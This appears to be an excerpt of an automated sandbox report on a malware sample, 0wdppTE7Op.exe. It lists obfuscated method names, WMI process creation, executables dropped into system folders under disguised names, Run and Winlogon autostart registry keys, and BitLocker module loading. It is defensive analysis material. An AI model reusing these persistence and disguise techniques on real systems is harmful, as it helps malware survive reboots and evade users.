Source: 0wdppTE7Op.exe, mVouY3QUIM2mY95Dv5c.cs	High entropy of concatenated method names: 'UBsl3eAedB', 'on02b9PawjnM1JXxg2MJ', 'oq5AgiPaC9PTCw39jfrA', 'dYc9HvPaIHAmlaX6MZMu', 'kt5', 'BPmQ66nJml', 'ReadByte', 'get_CanRead', 'get_CanSeek', 'get_CanWrite'
Source: 0wdppTE7Op.exe, Q6c0NWuwvQLH0R3SWrm.cs	High entropy of concatenated method names: 'MPNusBkXAo', 'XnpnrMPRfZ9pRGxcykiA', 'Y1OsfxPRbQWC1pFvtlCN', 'mjkwyZPRXU3CpXPn6RK4', 'i8dJuoPR24ChpqfrkMa5', 'Ji5ctIPR32lKVeNgd1oV', 'MIN3CJPRiswRlv0T1lnL', 'OCGxYiU78U', 'i6vPe0PRORbKT4hHLLmF', 'Vg0qeSPRds6NN3px7ZrS'
Source: 0wdppTE7Op.exe, Jr3pATYIbkpukrbmYkR.cs	High entropy of concatenated method names: 'UUeYyn2fuZ', 'rZEYNeYFAs', 'T55YnBAjnl', 'pERMEmPl9pX7ek5ZL0al', 'KWbSOEPlYGdWkHj2c7J4', 'srw7l9PlVQKwV7tarXfF', 'I1MYeaqKAx', 'KmoYkEA0xl', 'HrLYmMDJrT', 'wpnY1XAjcS'
Source: 0wdppTE7Op.exe, vnv0PMc73hrdejOxuF6.cs	High entropy of concatenated method names: 'g7Tc558Sn0', 'DUXceJw7FO', 'cRUckBx1Sr', 'gHKinSPTvjU5b6F5QXi3', 'JJc8rnPTm6fEeVoE5oom', 'A8yHO4PT10U85XB4kev8', 'cI8a2wPTtQraphUtLbQD', 'qLjcHXaB7m', 'zZwcT7Woye', 'TQKcMY8JJ1'
Source: 0wdppTE7Op.exe, EwFhHBVPHJIbYJ9OfmI.cs	High entropy of concatenated method names: 'vomVcQMG1u', 'AykVuZgoJj', 'eYoVxsJVYV', 'eOAbnkPlbslhWtHxNJNt', 'c03wdZPl2TN2UWiG2oAc', 'gn60ZKPlfmhBmf2ThC4u', 'rkQa1ePlpM0qYL4iDw9i', 'dogBFrPl3mvbhMILhfOy', 'bSv81vPli9mO2pL0DUXy', 'Al4p0cPl4Y0aRUqtlnrE'
Source: 0wdppTE7Op.exe, UJbIux8ST87hyYKvM80.cs	High entropy of concatenated method names: 'i0688dB0MV', 'LTm87fWHNm', 'LbR8E6tK3c', 'eyX8HX1D1a', 'zmI8TSqsA1', 'FgQB5nPkAKCPjKqQ4ox8', 'tpmDtjPkarv2YFX6Dkma', 'l6mjTCPkKSI3ImjpokeV', 'z4JNrQPkJEgDDg9g4svi', 'HCR3kpPkG0gTi0E0bCXV'
Source: 0wdppTE7Op.exe, mLAWvQVRQ4BfSb84MNF.cs	High entropy of concatenated method names: 'IfZVlWcMKn', 'CnTVhHcQuT', 'iF5fkLPlKi8J8Qsi9mgO', 'qr7cCyPlAgbKgTY1rdeD', 'QGPdNtPlJBtuEBwp0IEB', 'o9El1dPlG1qAJa7ZfZfN', 'VNHUwEPlyf0si9A6dd6c', 'Dr0KgqPlNX7xg9SYC7bI', 'wl5jetPlnXOcBnDC7Ne8'
Source: 0wdppTE7Op.exe, he1dPiT9l0QURYJYm5f.cs	High entropy of concatenated method names: 'KbPT2870Zn', 'diKTfxCxQq', 'zX5TbI0q8G', 'Bta4yLP10Y2njE6MU295', 'MByLkoP1nExKNmk51dgd', 'LGupohP1stvAwNdkiC6L', 'IfnyfSP1zFYllq2tUKlC', 'vXYg8fPvWEBOEiIXWJba'
Source: 0wdppTE7Op.exe, FBWfMbM00edAm43mcIJ.cs	High entropy of concatenated method names: 'Oq8RW1gZZI', 'RWLRPjePgW', 'Yd7', 'CE1RDXCN2s', 'x6FRcQ5K2C', 'ectRuKmg82', 'q4XRx2I3SV', 'uCSooXPtKYADOO2BPXo3', 'zAKL2vPttPF1NKlAkK4K', 'q48gpUPtaUZZH6toDbyV'
Source: 0wdppTE7Op.exe, EFQSgCHAtP10o0mOsJn.cs	High entropy of concatenated method names: 'K0lHGefAo9', 'yQtHyWlX39', 'gE3HNyp0Fh', 'myoHnDDUEI', 'nuKHsRymml', 'NRhfSLP1enGPvrkP6kyy', 'z7jw0AP1I11eX5YIIBuV', 'LEBQj5P15QBIZINPJKPg', 'Nn6XxbP1kDpCnqc3RYHy', 'gNPN3rP1mraGTFwqLhNp'
Source: 0wdppTE7Op.exe, p9suWVNLbyUG8AjhDrA.cs	High entropy of concatenated method names: 'xLB84oPnAcBudmvRdL9j', 'GGw3xHPnJwmT9GsoCBPV', 'zdYnJoxef9', 'tey38CPnn3GT3KyxK3uZ', 'lxjiOiPns8KW8Yk5GrGC', 'QmMw8MPn0f41BhrFkI3Z', 'UTOVR4PnzeRGS4VeQVqU', 'hsVt9CPsWXpeLbfxgUto', 'GB1S27PsPP9iOtGvHCxd', 'eZs5sKPsD8amU6SkLxEA'
Source: 0wdppTE7Op.exe, uHxyCSFeNTTGOmgK4Fd.cs	High entropy of concatenated method names: 'a99', 'yzL', 'method_0', 'method_1', 'x77', 'O2HFmsObxH', 'wA9F1xcFQZ', 'Dispose', 'D31', 'wNK'
Source: 0wdppTE7Op.exe, wYBfAVsOX5vVZq5Y0Mu.cs	High entropy of concatenated method names: 'NxasTVvn5a', 'NGFsMc6vTh', 'aLTsR6GbpH', 'yw5sQG8QVm', 'p3XslCWcNb', 'Cooshnwrxq', 'KmxsqB1kMh', 'cYfsjGAHLm', 'hS3srKJerr', 'QuIsBXdJL5'
Source: 0wdppTE7Op.exe, dBCUFPX3EWI0OJ0GClN.cs	High entropy of concatenated method names: 'q76', 'method_0', 'p9e', 'hkB', 'method_1', 'method_2', 'Y692INPqqqJ9Rj9SANQJ', 'udZorFPqj8wofsXMnqXv', 'tigKWVPqrIHShvLbrKKP', 'YU6X4mn4o8'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\DealcvOk.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\HqRBAmEs.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\jlNXDlep.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\ZoLhjnQK.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\oZfWghud.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\CDADXqpE.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\ProgramData\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\JGwsqFZW.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\oIpWQWtP.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\lBrNuEzT.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\eLngwYfk.log	Jump to dropped file

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

File created: C:\ProgramData\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Jump to dropped file

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\eLngwYfk.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\lBrNuEzT.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\JGwsqFZW.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\oIpWQWtP.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\DealcvOk.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\ZoLhjnQK.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\CDADXqpE.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\jlNXDlep.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\HqRBAmEs.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Users\user\Desktop\oZfWghud.log	Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Creates multiple autostart registry keys

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv			Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0wdppTE7Op			Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0wdppTE7Op	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0wdppTE7Op	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0wdppTE7Op	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0wdppTE7Op	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SSnsduzASLgjHWjPpweraeKhUEuCEv	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
